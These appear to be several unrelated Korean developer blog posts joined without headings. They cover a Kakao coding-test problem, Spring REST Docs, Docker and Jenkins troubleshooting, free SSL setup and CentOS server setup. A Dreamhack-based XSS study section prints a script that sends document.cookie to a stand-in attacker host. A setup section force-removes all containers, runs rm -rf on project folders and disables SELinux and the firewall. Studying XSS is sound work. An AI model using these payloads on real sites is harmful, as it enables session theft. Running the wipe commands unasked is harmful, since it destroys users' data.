신입사원인 김크루는 카카오톡 오픈 채팅방을 개설한 사람을 위해, 다양한 사람들이 들어오고, 나가는 것을 지켜볼 수 있는 관리자창을 만들기로 했다. 채팅방에 누군가 들어오면 다음 메시지가 출력된다.

"[닉네임]님이 들어왔습니다."

채팅방에서 누군가 나가면 다음 메시지가 출력된다.

"[닉네임]님이 나갔습니다."

채팅방에서 닉네임을 변경하는 방법은 다음과 같이 두 가지이다.

채팅방을 나간 후, 새로운 닉네임으로 다시 들어간다. 채팅방에서 닉네임을 변경한다. 닉네임을 변경할 때는 기존에 채팅방에 출력되어 있던 메시지의 닉네임도 전부 변경된다.

예를 들어, 채팅방에 "Muzi"와 "Prodo"라는 닉네임을 사용하는 사람이 순서대로 들어오면 채팅방에는 다음과 같이 메시지가 출력된다.

"Muzi님이 들어왔습니다." "Prodo님이 들어왔습니다."

채팅방에 있던 사람이 나가면 채팅방에는 다음과 같이 메시지가 남는다.

"Muzi님이 들어왔습니다." "Prodo님이 들어왔습니다." "Muzi님이 나갔습니다."

Muzi가 나간후 다시 들어올 때, Prodo 라는 닉네임으로 들어올 경우 기존에 채팅방에 남아있던 Muzi도 Prodo로 다음과 같이 변경된다.

"Prodo님이 들어왔습니다." "Prodo님이 들어왔습니다." "Prodo님이 나갔습니다." "Prodo님이 들어왔습니다."

채팅방은 중복 닉네임을 허용하기 때문에, 현재 채팅방에는 Prodo라는 닉네임을 사용하는 사람이 두 명이 있다. 이제, 채팅방에 두 번째로 들어왔던 Prodo가 Ryan으로 닉네임을 변경하면 채팅방 메시지는 다음과 같이 변경된다.

"Prodo님이 들어왔습니다." "Ryan님이 들어왔습니다." "Prodo님이 나갔습니다." "Prodo님이 들어왔습니다."

채팅방에 들어오고 나가거나, 닉네임을 변경한 기록이 담긴 문자열 배열 record가 매개변수로 주어질 때, 모든 기록이 처리된 후, 최종적으로 방을 개설한 사람이 보게 되는 메시지를 문자열 배열 형태로 return 하도록 solution 함수를 완성하라.

제한사항 record는 다음과 같은 문자열이 담긴 배열이며, 길이는 1 이상 100,000 이하이다. 다음은 record에 담긴 문자열에 대한 설명이다. 모든 유저는 [유저 아이디]로 구분한다. [유저 아이디] 사용자가 [닉네임]으로 채팅방에 입장 - "Enter [유저 아이디] [닉네임]" (ex. "Enter uid1234 Muzi") [유저 아이디] 사용자가 채팅방에서 퇴장 - "Leave [유저 아이디]" (ex. "Leave uid1234") [유저 아이디] 사용자가 닉네임을 [닉네임]으로 변경 - "Change [유저 아이디] [닉네임]" (ex. "Change uid1234 Muzi") 첫 단어는 Enter, Leave, Change 중 하나이다. 각 단어는 공백으로 구분되어 있으며, 알파벳 대문자, 소문자, 숫자로만 이루어져있다. 유저 아이디와 닉네임은 알파벳 대문자, 소문자를 구별한다. 유저 아이디와 닉네임의 길이는 1 이상 10 이하이다. 채팅방에서 나간 유저가 닉네임을 변경하는 등 잘못 된 입력은 주어지지 않는다. 입출력 예 record result ["Enter uid1234 Muzi", "Enter uid4567 Prodo","Leave uid1234","Enter uid1234 Prodo","Change uid4567 Ryan"] ["Prodo님이 들어왔습니다.", "Ryan님이 들어왔습니다.", "Prodo님이 나갔습니다.", "Prodo님이 들어왔습니다."] 입출력 예 설명 입출력 예 #1 문제의 설명과 같다.

Spring REST Docs 공식 문서를 번역하여 정리한 내용입니다.

• 개요

Spring REST Docs는 RESTful API의 문서화를 자동화하고 정확성을 보장하는 도구다.

• 주요 특징

1. 테스트 기반 문서화: Spring MVC Test, WebFlux의 WebTestClient, 또는 REST Assured5를 사용한 테스트 코드에서 문서 스니펫을 생성한다. 이는 테스트 주도 개발(TDD)의 원칙을 문서화에도 적용한 것이다.
2. 자동 생성 + 수동 작성의 결합: 테스트에서 자동으로 생성된 스니펫과 개발자가 수동으로 작성한 문서를 결합한다. 이 방식은 문서의 정확성과 상세도를 모두 확보할 수 있게 해주는 장점이 있다.
3. 유연한 출력 형식: 기본적으로 Asciidoctor를 사용하여 HTML 문서를 생성한다. 필요에 따라 Markdown 사용도 가능하다.

• 기술적 이점

1. 문서의 정확성 보장: 테스트가 실패하면 관련 스니펫 생성도 실패합니다. 이는 API의 변경사항이 즉시 문서에 반영됨을 의미한다. (실제 구현과 문서 간의 불일치를 방지)
2. 구현과 문서의 분리: API의 내부 구현 세부사항이 아닌, 외부에 노출되는 인터페이스(HTTP 요청/응답)에 초점을 둔다. (사용자에게 필요한 정보만 제공하고 내부 구현 변경 시 문서 수정의 필요성을 줄임)
3. 리소스 중심 문서화: RESTful 서비스의 각 리소스에 대해 HTTP 요청과 HTTP 응답을 중심으로 문서화한다. (REST 아키텍처의 원칙에 부합하는 문서화)

• 개발 프로세스에 미치는 영향

1. 테스트 코드 품질 향상 문서화를 위해 더 철저한 테스트 케이스 작성이 요구되므로, 전반적인 테스트 커버리지와 품질이 향상될 수 있다.
2. API 설계 개선: 문서화 과정에서 API의 일관성, 사용성 등을 자연스럽게 검토하게 되어 전반적인 API 설계 품질이 향상될 수 있다.
3. 지속적 통합/배포(CI/CD) 용이성: 테스트 실행 시 자동으로 최신 문서가 생성되므로, CI/CD 파이프라인에 쉽게 통합할 수 있다.

• 사용 시 고려사항

1. Asciidoctor 문법, 테스트 코드 작성 방식 등에 대한 지식이 필요할 수 있다.
2. 초기 설정 복잡성:
   프로젝트에 Spring REST Docs 통합하는 초기 설정이 다소 복잡하다.
3. 테스트 실행 시간 증가: 문서 생성을 위한 추가적인 테스트로 인해 전체 테스트 실행 시간이 증가할 수 있다.

구현 방법

• 최소 요구 사항

o    Java 17
o    Spring Framework 6
o    spring-restdocs-restassured 모듈은 REST Assured 5.2 필요

• 빌드

plugins{
    id "org.asciidoctor.jvm.convert" version "3.3.2"  // 1
}
configurations {
    asciidoctorExt  // 2
}

dependencies {
    asciidoctorExt 'org.springframework.restdocs:spring-restdocs-asciidoctor:{project-version}'  // 3
    testImplementation 'org.springframework.restdocs:spring-restdocs-mockmvc:{project-version}'  // 4
}

ext {
    snippetsDir = file('build/generated-snippets') // 5
}

test { // 6
    outputs.dir.snippetsDir 
}

asciidoctor { // 7
    inputs.dir snippetsDir // 8
    configurations 'asciidoctorExt' // 9
    dependsOn test // 10
}


bootJar { // 11
    dependsOn asciidoctor // 12
    from ("${asciidoctor.outputDir}/html5") { // 13
            into 'static/docs' // 14
    }
}

1. Asciidoctor 플러그인 적용: Asciidoctor를 사용하기 위한 기반
2. asciidoctorExt 구성 선언: Asciidoctor의 기능을 확장하는 플러그인이나 라이브러리 관리
3. spring-restdocs-asciidoctor 의존성 추가: Spring REST Docs와 Asciidoctor 연동
4. spring-restdocs-mockmvc 의존성 추가: MockMvc를 사용하여 API 테스트를 작성하고 문서화할 수 있다. 필요에 따라 WebTestClient나 REST Assured로 대체
5. snippetsDir 속성 구성: 테스트 실행 시 생성되는 문서의 저장
6. test 태스크 출력 설정: Gradle이 테스트 실행 결과물(스니펫)의 위치를 인식하여 불필요한 재빌드를 방지한다.
7. asciidoctor 태스크 구성: AsciiDoc 문서를 최종 출력 형식(ex.HTML)으로 변환하는 과정을 제어한다.
8. asciidoctor 태스크 입력 설정 o Gradle이 스니펫 디렉토리의 변경을 감지하여, 필요한 경우에만 문서를 재생성한다.
9. asciidoctorExt 구성 사용 설정: Spring REST Docs의 Asciidoctor 확장 기능 활성화
10. test 의존성 추가: 테스트 실행되게 하는 의존성
11. 문서 패키징 추가: 생성한 API문서를 프로젝트의 JAR 파일에 포함 시키는 설정 (jar 가 빌드 되기 전에 문서를 생성해야 함 / jar에 생성한 문서가 있어야 함)
12. bootJar가 실행되기 전에 asciidoctor가 먼저 실행되도록 의존성 설정
13. 생성된 문서를 jar의 static/docs 디렉토리에 복사

docker 는 여러가지 설정을 항상 살펴가면서 진행해야하는 것 같다....

step 1. docker 전체 메모리 확인

docker stats

• 컨테이너의 메모리를 확인할 수도 있다. 메모리 부분이 byte 단위이다.
• 참고로 제한하지 않고 컨테이너를 생성시에는 메모리 부분이 0이 나오게 된다.

step 2. swap 을 이용해 메모리 사용을 제한하기

• 컨테이너를 생성한 이후에도 메모리의 이용을 제한할 수 있다.
• 하지만 실제 메모리와 맞지 않게 메모리를 할당하면 fail이 발생한다.

  docker update --memory 용량 --memory-swap 용량 컨테이너명

  

• --cpus에 정수인 경우 CPU의 코어 갯수이고, 1 미만의 실수를 입력하면 비율로 정해진다.

  docker update --cpus=갯수(또는 비율) 컨테이너명

젠킨스를 다루는 와중에 거슬리게 뜨는 에러가 있었다.

wrapper script does not seem to be touching the log file in /var/jenkins_home/workspace/HMG_1@tmp/durable-9c43a114 (JENKINS-48300: if on an extremely laggy filesystem, consider -Dorg.jenkinsci.plugins.durabletask.BourneShellScript.HEARTBEAT_CHECK_INTERVAL=86400)

느린 파일 시스템으로 인해 생기는 오류와 관련이 있는 것 같다.

해결은 두 가지가 있다.

Option 1. 파이프 라인에 추가

script {
System.setProperty("org.jenkinsci.plugins.durabletask.BourneShellScript.HEARTBEAT_CHECK_INTERVAL", "3800");
}
pipeline{
 // todo
}

실행을 하면 "Administrators can decide whether to approve or reject this signature." 스크립트 승인의 보안 설정에서 스크립트를 승인하면 된다.

Option 2. Jenkins 관리 -> 스크립트 콘솔로 이동하여 실행

System.setProperty("org.jenkinsci.plugins.durabletask.BourneShellScript.HEARTBEAT_CHECK_INTERVAL", "3800");

reference

stackoverflow

++ 젠킨스 에러 팁

build queue 저장 공간 클리어 -> Jenkins 관리 -> 스크립트 콘솔로 이동하여 실행

Jenkins.instance.queue.clear()

reference

https://docs.cloudbees.com/docs/cloudbees-ci-kb/latest/client-and-managed-masters/how-can-i-purge-or-clean-the-build-queue

An image does not exist locally with the tag: hmgadmin/hmg

docker hub에서 안내한 push 방법은 아래와 같았는데 내 로컬의 이미지명과 맞지 않아서 생긴 오류였다.

docker images

docker image tag를 활용해 이미지명을 변경한 후 실행했더니 해결되었다.

docker image tag

위 명령어 실행시 수정되는 것이 아닌 새로 만들어지는 것이었다.

마지막으로 push 하면 끝!

docker push hmgadmin/hmg:0.1

• 디스크 용량 확인 방법

  df -h

docker를 사용하다보면 하위 폴더에 다양한 임시 파일이나 이미지 컨테이너 관련들이 중복되면서 overlay2 폴더의 용량이 커진다고 한다. overray2 관련 자세한 내용은 아래에서 참고할 수 있다. https://tech.kakaoenterprise.com/171

docker system prune -a -f

-> 정말 많이 사용하고 있음을 알 수 있다.

sudo docker system prune -a -f

docker system prune -a -f

사이드 프로젝트를 진행하다가 사이트의 보안이 안전하지 않다는 메세지가 떠서 HTTPS를 달아보기로 했다. 여러 사이트가 있지만 비용상 유료 SSL을 발급받기에는 여의치 않았고, 무료 SSL을 받을 수 있는 Let's Encrypt와 SSLFORFREE 중 후자를 선택했다. 전자는 Certbot을 이용하며 webserver에서 인증서를 발급받아야 하는데, 우리는 도메인 확인에서 인증오류가 나서 결국 후자를 시도해보게 되었다.

도메인 발급

우리는 도메인 발급을 호스팅케이알(https://www.hosting.kr/) 에서 진행했다. 국내에서 굉장히 싸게 구입할 수 있고 도메인 적용도 발급 후 거의 바로 되기 때문에(일을 너무 잘함) 선택하게 되었다. 도메인을 구입한 후 서버와 도메인을 등록하는 과정은 아래의 고객센터를 통해 해결했다. DNS 레코드 설정 방법

SSL FOR FREE

발급받은 호스팅케이알에서 SSL 인증서를 유료로 구매하면서 대행비도 지불하면 손쉽게 https 설정을 할 수 있었지만 굳이 있는 무료 SSL을 사용하지 않을 이유도 없기에 시간을 들여서라도 시도를 했다.

Step 1

일단 사이트로 이동한다. https://www.sslforfree.com/

SSL 인증서를 받을 도메인 주소를 입력한후 Create Free SSL Certificate 버튼을 클릭한다. Sign Up 페이지가 뜨면 회원 가입을 완료한다.

와일드 카드 체크하는 버튼이 있는데, 이것은 PRO 버튼이 있어 유료라 스킵했다. 여러가지 서비스를 연결 할 때 유용할 것 같지만 지금은 없어도 될 것 같다.

Step 2

도메인 주소 하나를 입력하면 자동으로 www 붙인 도메인도 생성된다. next Step 을 클릭한다.

Step 3

90일 인증서와 1년 인증서가 있다. 1년 인증서는 PRO 마크가 붙어있어 유료지만 생각보다 90일이 짧아서 갱신을 해야한다는 단점이 있으나.. 무료이니까 선택한다. 90일마다 갱신하면 된다.

Step 4

CSR 정보를 자동으로 생성할 건지 물어본다. 국가 코드, 도시, 회사명, 부서명, 이메일, 도메인 주소 등을 기록하는 건데 간편하게 자동으로 생성하도록 체크했다.

Step 5

요금제는 Free로 체크한다.

Step 6

Your certificate has been created and is ready for domain verification. 이제 도메인 인증할 준비가 완료되었다. 방법은 세가지가 있다.

1. 이메일 인증
2. DNS(CNAME)
3. HTTP 파일 업로드

나는 두번째 DNS(CNAME)을 선택했다. 다른 두 가지도 시도해보았는데, 이메일 인증은 운이 나쁘면 메일이 아주 늦게 왔다. 난 하루정도 뒤였는데, 이미 두 번째 방법으로 해결한 상태였다. 세 번째 방법은 http server로 들어가서 경로로 들어갈 수 있어야하는데 응답이 정상적으로 오지 않아서 애먹었다.

DNS(CNAME)을 클릭 후 CNAME 레코드를 별도로 메모(복사)해둔다. 다음 스텝을 진행한다.

1. 도메인 등록기관인 hosting.kr에 로그인한다.
2. DNS 레코드가 관리되는 툴 페이지로 이동한다.
3. 다음 CNAME 레코드를 추가한다.

   유형(타입): CNAME 선택 (호스팅케이알에서 지원하는 DNS 레코드 유형)

   이름(호스트):_6FCAC....

   값(포인트): ESC23.......

   TTL: 전파시간으로 3600(이하)로만 설정하면 괜찮다.

나는 처음에 제대로 넣었는데 계속해서 인증이 안된다고 나와서 이유를 찾아봤다. zerossl.com이 설명을 제대로 안넣어준 건 맞는데 troubleshooting에 가보니 해결 방법이 나와있었다.

한 마디로, Name 값에 나와있는 .도메인.com 부분까지 포함되어서 생기는 이슈인 것이다. 뒤에 거를 빼고 앞에거를 넣으니 인증서 발급에 성공했다.

이제 인증서를 사용할 준비가 끝났다!

다음시간에는 인증서를 적용하고, nginx.conf 설정을 통해 http로 접속시 https 로 연결되도록 하는 과정을 정리해보겠다.

Reference

• https://www.sslforfree.com

https://learn.dreamhack.io/173[링크텍스트](https://learn.dreamhack.io/173) 기술 면접 준비를 위해 CS 공부를 해야하는데 친오빠가 dreamhack이라는 사이트에서 공부해보라며 추천해줬다.

들어가며

클라이언트 사이드 취약점이란 웹 페이지 이용자를 대상으로 공격할 수 있는 취약점이다. 이 취약점을 통해 공격자가 악의적인 목적으로 세션 및 쿠키 정보를 탈취하고 사용자의 웹 브라우저에 악성 코드를 삽입하거나, 사용자의 개인정보를 탈취하거나, 서비스의 비정상적인 동작을 유도하는 등의 공격 할 수 있다.

이번에는 클라이언트 사이드 취약점의 대표적인 공격인 Cross Site Scripting(XSS) 의 종류와 어떤 상황에서 발생 할 수 있는지, 이 공격이 어떻게 활용되는지를 알아보자.

Cross Site Scripting의 약어가 XSS인 이유 약어는 CSS가 맞지만, 스타일 시트를 정의하는 언어인 CSS와 혼동되어 사용될 수 있기 때문에 XSS로 명명되었다.

XSS 이란?

XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.

이런 식으로 이용자가 XSS 게시물에 접속하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.

이 취약점은 SOP 보안 정책이 등장하면서 서로 달느 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌다. 그러나 이를 우회하는 다양한 기술이 소개되면서 XSS 공격은 지속되고 있다.

XSS 발생 예시와 종류

클라이언트는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답, 즉 HTML, CSS, JS 등의 웹 리소스를 시각화하여 이용자에게 보여준다. 이 때, HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있다.

XSS 스크립트 예시

자바스크립트는 웹 문서의 동작을 정의하는데, 공격자가 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다. 다양한 동작을 정의할 수 있기에 XSS 공격에 주로 사용된다. 자바 스크립트를 실행하기 위한 태그로는 script가 있고 코드 예시로 살펴보자.

- 쿠키 및 세션 탈취 공격 코드

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

페이지 변조 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

- 위치 이동 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

Stored XSS

Stored XSS 란 서버의 DB 또는 File 등의 형태로 저장된 악성 스크립트를 조회할 때 발생할 수 있는 XSS다. 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방법이 있다. 불특정 다수에서 노출될 수 있어 해당 기능에서 XSS 취약점이 존재할 경우 큰 피해를 입을 수 있다.

Reflected XSS

Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 예를 들면, 게시판 서비스에서 작성된 게시물을 조회하는 검색창에서 스크립트를 포함해 검색하는 방법이 있다. 이용자가 검색을 하고, 검색 결과가 이용자에게 반환될 때, 검색 결과를 응답에 포함하는 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다. Relfected XSS는 Stored XSS와 다르게, URL과 같은 이용자의 요청에 의해 발생된다. 따라서 이용자가 눈치채지 못하게 악성 스크립트가 포함된 링크에 접속할 수 있도록 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다.

정리하며

• Cross Site Scripting(XSS) : 클라이언트 사이드 취약점, 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트를 실행
• Stored XSS: 악성 스크립트가 서버 내에 존재. 이용자가 저장된 악성 스크립트를 조회할 때 발생
• Reflected XSS: 악성 스크립트가 이용자 요청 내에 존재. 이용자가 악성 스크립트가 포함된 요청을 보낸 후 응답을 출력할 때 발생.

Started by user hmgadmin
[Pipeline] Start of Pipeline
[Pipeline] node
Running on Jenkins in /var/jenkins_home/workspace/HMG_1
[Pipeline] {
[Pipeline] stage
[Pipeline] { (Declarative: Tool Install)
[Pipeline] tool
[Pipeline] envVarsForTool
[Pipeline] }
[Pipeline] // stage
[Pipeline] withEnv
[Pipeline] {
[Pipeline] stage
[Pipeline] { (Prepare)
[Pipeline] tool
[Pipeline] envVarsForTool
[Pipeline] withEnv
[Pipeline] {
[Pipeline] git
The recommended git tool is: NONE
using credential (크레덴셜 아이디)
 > git rev-parse --resolve-git-dir /var/jenkins_home/workspace/HMG_1/.git # timeout=10
Fetching changes from the remote Git repository
 > git config remote.origin.url 
 (SSH git 주소)
 # timeout=10
Fetching upstream changes from 
(SSH git 주소)
 > git --version # timeout=10
 > git --version # 'git version 2.30.2'
using GIT_SSH to set credentials 
Verifying host key using known hosts file
You're using 'Known hosts file' strategy to verify ssh host keys, but your known_hosts file does not exist, please go to 'Manage Jenkins' -> 'Configure Global Security' -> 'Git Host Key Verification Configuration' and configure host key verification.
 > git fetch --tags --force --progress -- 
 (SSH git 주소) +refs/heads/*:refs/remotes/origin/* # timeout=10
ERROR: Error fetching remote repo 'origin'
hudson.plugins.git.GitException: Failed to fetch from
(SSH git 주소)
hudson.plugins.git.GitSCM.fetchFrom(GitSCM.java:1003)
    at hudson.plugins.git.GitSCM.retrieveChanges(GitSCM.java:1245)
    at hudson.plugins.git.GitSCM.checkout(GitSCM.java:1309)
    at org.jenkinsci.plugins.workflow.steps.scm.SCMStep.checkout(SCMStep.java:129)
    at org.jenkinsci.plugins.workflow.steps.scm.SCMStep$StepExecutionImpl.run(SCMStep.java:97)
    at org.jenkinsci.plugins.workflow.steps.scm.SCMStep$StepExecutionImpl.run(SCMStep.java:84)
    at org.jenkinsci.plugins.workflow.steps.SynchronousNonBlockingStepExecution.lambda$start$0(SynchronousNonBlockingStepExecution.java:47)
    at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515)
    at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at java.base/java.lang.Thread.run(Thread.java:829)
Caused by: hudson.plugins.git.GitException: Command "git fetch --tags --force --progress -- 
(SSH git 주소)
+refs/heads/*:refs/remotes/origin/*" returned status code 128:
stdout: 
stderr: No ECDSA host key is known for github.com and you have requested strict checking.
Host key verification failed.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2732)
    at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:2109)
    at org.jenkinsci.plugins.gitclient.CliGitAPIImpl$1.execute(CliGitAPIImpl.java:623)
    at hudson.plugins.git.GitSCM.fetchFrom(GitSCM.java:1001)
    ... 11 more
Post stage
[Pipeline] sh
+ echo Fail Cloned Repository
Fail Cloned Repository
[Pipeline] }
[Pipeline] // withEnv
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Build Gradle Test)
Stage "Build Gradle Test" skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Docker rm)
Stage "Docker rm" skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Bulid Gradle)
Stage "Bulid Gradle" skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Bulid Docker)
Stage "Bulid Docker" skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Docker Run)
Stage "Docker Run" skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] }
[Pipeline] // withEnv
[Pipeline] }
[Pipeline] // node
[Pipeline] End of Pipeline
ERROR: Error fetching remote repo 'origin'
Finished: FAILURE

여기서 중요한 부분이 아래의 로그인 것 같은데, 호스트 키를 인식하지 못하는 문제인 것 같다.

stderr: No ECDSA host key is known for github.com and you have requested strict checking.
Host key verification failed.

구글링을 해본 결과, https://stackoverflow.com/questions/15174194/jenkins-host-key-verification-failed

known_hosts에 등록되지 않았다고 한다.

jenkins@ea1f0b09c539:~$ git ls-remote -h (SSH github 주소) HEAD
The authenticity of host 'github.com (20.200.245.247)' can't be established.
ECDSA key fingerprint is SHA256:-/-/-.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'github.com,20.200.245.247' (ECDSA) to the list of known hosts.

위와 같은 명령어를 수행하니, 새로운 HOST에 SSH를 통해 접속할 때 발생하는 경고 메시지가 나왔고, YES를 클릭했더니 이 문제는 해결되었다. known_hosts에 github에 추가해준 것으로 해결 된 것이다.

결과적으로 github 저장소를 가져오는 건 됐지만... 이번에는 Build Gradle 에서 문제가 난다..! installReact 문제인데, 다시 천천히 고쳐보겠다...

리눅스 프로세스가 종료 시그널을 받으면, 종료되는 이유를 관리자가 알 수 있도록 종료 원인에 해당하는 코드를 반환하는 것이 일반적이고, 도커 컨테이너 또한 예외는 아니라고 한다. 컨테이너 내부의 init 프로세스가 종료될 시 컨테이너는 종료 코드를 도커 데몬에게 알려 저장하도록 되어 있다. (init 프로세스는 Dockerfile 및 컨테이너 생성 명령어에 정의된 CMD 또는 Entrypoint 등을 의미한다) 때문에 docker ps -a와 같은 일반적인 명령어로도 어떠한 이유로 컨테이너가 종료되었는지를 쉽게 확인할 수 있다고 한다.

종료 코드 확인 방법

docker ps -a --format 'table {{.Names}}\t{{.Image}}\t{{.Status}}'

1) exit code 0: 성공적으로 종료됨

가장 일반적인 경우로, 컨테이너 내부의 init 프로세스가 자신의 역할을 다하고 정상적으로 종료되었을 때, 또는 docker stop에 의해 종료되었을 때에 해당된다. SIGTERM에 의해 종료되어도 0으로 출력되는걸로 보아, 두 코드 간에 큰 차이는 없는걸로 보인다.

(2) exit code 125: 도커 명령어 자체가 실패한 경우

잘못된 도커 명렁어 또는 플래그로 인해 수행 자체가 성공되지 않은 경우에 해당한다. 사실상 docker ps -a 출력에서는 볼 수 없는 에러 코드이다.

(3) exit code 126: 컨테이너의 커맨드가 실패한 경우

컨테이너 실행 시, 커맨드의 수행이 실패된 경우이다. 명령어 자체는 유의미하지만 실행 불가능한 경우 등에 해당된다. 컨테이너가 생성되어 Created 상태이지만, 실행 자체가 불가능하므로 docker ps -a에서는 출력되지 않는 코드이다.

(4) exit code 127: 컨테이너의 커맨드가 존재하지 않는 경우

컨테이너에 설정된 커맨드가 컨테이너 내부에 존재하지 않아 수행할 수 없는 경우이다. 126과 마찬가지로 컨테이너가 생성은 되지만 실행은 되지 않는다.

(5) exit code 128 + n: 리눅스 시그널 n에 해당하는 오류가 발생한 경우

255를 제외한 아래의 경우에 해당된다.

(6) exit code 130: (128+2) Control + C로 종료된 경우

컨테이너가 실행되었을 때, 인터럽트 루틴(Control + C) 에 의해 init 프로세스가 전달된 경우이다. 인터럽트 신호인 SIGINT의 코드가 2이므로 종료 코드는 130이 된다. 사실상 개발자가 의도적으로 컨테이너를 종료시키는 경우가 아니면 거의 볼 수 없다.

mysql과 같은 컨테이너를 interactive하게 (-it) 생성하고 Control + C를 연속적으로 입력하면 이 코드를 인위적으로 만들어 낼 수 있다.

(7) exit code 137 & 143: (128+9, 15) 컨테이너가 SIGKILL 및 SIGTERM 을 받은 경우

docker stop 명령어를 사용하면 도커 데몬은 컨테이너의 init 프로세스에 SIGTERM을 전송하며, 일반적으로 Gracefully exit라고 부른다. 일정 시간이 지나도 종료되지 않을 시 SIGKILL을 전송하게 되고, 이 때의 종료 코드는 137이 된다. docker stop이 SIGKILL로 전환되도록 하는 시간 제한은 docker stop의 -t 플래그를 통해 초 단위로 설정할 수 있으며 기본 값은 10초이다.

docker kill 및 docker rm -f 명령어 또한 SIGKILL 시그널을 사용하기 때문에, 마찬가지로 종료 코드는 137로 출력된다. 참고로, 컨테이너의 메모리 자원 부족으로 인한 OOM 시 컨테이너의 강제 종료에도 SIGKILL이 사용되어 137로 출력된다.

(8) exit code 255: 종료 코드가 범위를 벗어나는 경우

에러 코드가 -1인 경우, 즉 명백한 에러인 경우 해당된다. 컨테이너 내부의 서비스가 내뿜은 에러 로그를 확인하는 것이 좋다.

나의 경우는 137인데 용량부족이 문제인 것 같다. NCP 서버 처음 개설할 시에 micro 용량으로 해서 그런 것 같다...

레퍼런스

https://blog.naver.com/alice_k106/221310477844

나는 root 사용자 말고 새로운 사용자를 추가하여 세팅하고자 했다.

adduser exam // exam 이라는 사용자 추가
passwd exam // exam 계정에 비밀번호 설정

이제 putty로 접속할 때 exam@[IP주소] 와 기본 포트를 입력하면 접속할 수 있다.

exam에 sudo 권한 주기

먼저 root 계정으로 진행해야 한다.

su
root 비번 입력 (나갈 때는 exit)
vim /etc/sudoers
// root ALL=(ALL) ALL 라인 밑 부분에 exam ALL=(ALL) ALL 라인 추가
esc + wq! 로 저장

selinux 끄기

sudo vim /etc/selinux/config
SELINUX = disabled // 이렇게 수정

기본 설정 업데이트

sudo yum install epel-release -y
sudo yum update -y
sudo reboot now

도커 설치

sudo yum install -y yum-utils

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

sudo yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y

sudo systemctl start docker

sudo systemctl enable docker

도커를 sudo 없이 이용

sudo usermod -aG docker ${USER}

이후, putty 재시작 필수

젠킨스 환경 세팅

firewalld 꺼져있고 비활성화 되어 있는지 확인

sudo systemctl stop firewalld

sudo systemctl disable firewalld

도커 설치 확인 및 도커 관련 초기화

# 컨테이너 삭제
docker rm -f $(docker ps -qa)

# 이미지 삭제
docker rmi -f $(docker images -qa)

# 안쓰는 네트워크 삭제
docker network prune -f

# 안쓰는 볼륨 삭제
docker volume prune -f

# 도커 프로젝트 삭제
sudo rm -rf /docker/projects
sudo rm -rf /docker_projects

젠킨스 설치

docker run \
  --name jenkins_1 \
  -p 8081:8080 \
  -e TZ=Asia/Seoul \
  -v /docker_projects/jenkins_1/var/jenkins_home:/var/jenkins_home \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /docker_projects/jenkins_1/data:/data \
  -u root \
  -d \
  --restart unless-stopped \
  jenkins/jenkins:lts

• 첫째줄은 docker 를 실행한다
• name 은 jenkins_1 이다
• 8081 포트로 접속하면 서버에 들어갈 수 있다.
• 환경 시간은 Asia/Seoul 이다
• 컨테이너 내부의 /var/jenkins_home 폴더가 외부 폴더 /docker_projects/jenkins_1/var/jenkins_home 에 연결 된다. 볼륨은 밖으로 빼주어 이미지가 사라지더라도 남는다.
• Docker socket 파일 위치 : /var/run/docker.sock 이다.
• data 는 /docker_projects/jenkins_1/data 폴더와 연결된다.
• 찾는 중
• 종료되지 않는 한 항상 재시작한다
